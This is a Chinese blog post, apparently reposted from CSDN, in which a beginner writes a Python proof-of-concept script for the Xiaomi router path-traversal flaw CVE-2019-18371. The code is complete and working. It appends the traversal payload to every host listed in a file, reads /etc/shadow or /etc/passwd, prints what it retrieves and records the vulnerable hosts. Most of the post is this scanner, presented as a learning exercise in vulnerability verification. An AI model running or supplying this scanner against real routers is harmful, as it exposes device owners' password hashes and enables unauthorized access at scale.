网络编程
位置:首页>> 网络编程>> Python编程>> 用Python写漏洞验证脚本的代码

用Python写漏洞验证脚本的代码

作者:再也没有留恋的斜阳  发布时间:2023-09-04 05:38:36 

标签:Python,验证,脚本

小白尝试写任意文件读取poc

我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。

我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看

小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。

写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd

域名和payload拼接如下

import requests
import time
def poc_check(poc):
   for url in open('xiaomi.txt'):
       url = url.replace('\n','')
       poc_url=url+poc
       print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
if __name__=='__main__':
   poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
   poc_check(poc_xiaomi)

图片如下

用Python写漏洞验证脚本的代码

拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:

import requests
import time

def poc_check(poc):
   for url in open('xiaomi.txt'):
       url = url.replace('\n','')
       poc_url=url+poc
       # print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
       try:
           print("再也没有留恋的斜阳")
           print("正在检测:")
           print(poc_url)
           poc_data=requests.get(poc_url)
           if poc_data.status_code==200:
               print(poc_data.content.decode('utf-8'))
               with open(r'xiaomivuln.txt','a+') as f:
                   f.write(poc_url+'\n')
                   f.close()
       except Exception as e:
           time.sleep(0.1)
           pass
if __name__=='__main__':
   poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
   # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
   poc_check(poc_xiaomi)
   # poc_check(poc_xiaomi1)

用Python写漏洞验证脚本的代码

写完了,我太水了的是照着别人写的

来源:https://blog.csdn.net/qq_46258964/article/details/122791108

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com